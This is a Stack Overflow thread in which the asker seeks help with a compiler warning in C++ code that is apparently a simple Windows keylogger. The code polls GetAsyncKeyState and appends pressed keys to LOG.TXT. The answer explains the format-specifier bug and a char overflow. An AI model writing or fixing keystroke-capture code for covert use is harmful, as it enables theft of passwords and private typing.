-5

I have the following code and i cant seem to say for sure what the problem is.

When i compile the c++ program, compiler returns warning about expecting argument of type char* but argument 3 has type int

int save (int key_stroke, const char file[]);

int main()
{
    char i;
    while(1){
        for (i = 8; i <= 190; i++){
            if(GetAsyncKeyState(i)== -32767){
                save(i,"LOG.TXT");
            }
        }
    }
    return 0;
}

int save (int key_stroke, const char file[])
{
    if(key_stroke==1 || key_stroke==2)
        return 0;
    FILE *OUTPUT_FILE;//created a pointer reference variable of type File
    OUTPUT_FILE = fopen(file, "a+");
    fprintf(OUTPUT_FILE, "%s", &key_stroke);//this is line that c++ compiler 
    //compiler complains of
    fclose(OUTPUT_FILE);
    cout<<key_stroke<<endl;
    return 0;
}
chresse
  • 5,486
  • 3
  • 30
  • 47
  • 3
    Format your code please. – Xiobiq Jun 25 '16 at 17:00
  • 3
    Your code is a mess. Clean it up properly. Also I have no idea how this error and your code relates without proper information. – Shiro Jun 25 '16 at 17:04
  • I hate to be a bother, but we could better help you if you removed the unnecessary empty lines. Please do that, and I'll see if I can help you... – J. Allan Jun 25 '16 at 17:06
  • Why do you use C style files (`FILE` & `fprintf`)? You might want to check the `std::fstream` (or in case of just output use `std::ofstream`). Also, please don't use `using namespace std`, [it's bad practice](https://stackoverflow.com/questions/1452721/why-is-using-namespace-std-in-c-considered-bad-practice). – Xiobiq Jun 25 '16 at 17:15
  • Please use `std::string` rather than arrays of characters. Arrays are known to have overrun errors and memory leaks, when not handled correctly. – Thomas Matthews Jun 25 '16 at 17:50
  • I don't understand. You can use `cout`, but you don't use `fstream`. You should be consistent and use C++ streams for both. – Thomas Matthews Jun 25 '16 at 17:51

1 Answers1

1

The %s format specifier means that corresponding parameter (passed to fprintf function) is expected to be pointer to char. You are passing &key_stroke, i.e. address of int - thus this warning.

Btw in your for (i = 8; i <= 190; i++) loop next value after 127 will be -128 because i is declared as char, unless you use compiler setting that makes it unsigned char, do you?

mvidelgauz
  • 2,176
  • 1
  • 16
  • 23
  • @mvidelgauz...you're really a mature one. Your suggestions and correction will be helpful. I will have to rewrite the whole program. This runs just well on a friend's Dev c++ but wont run on my CodeBlock. I will post my improvement much later. I am not a guru.I am trying to be like people like Polikdir and shiro.thanx. – Henry Nnonyelu Jun 25 '16 at 18:40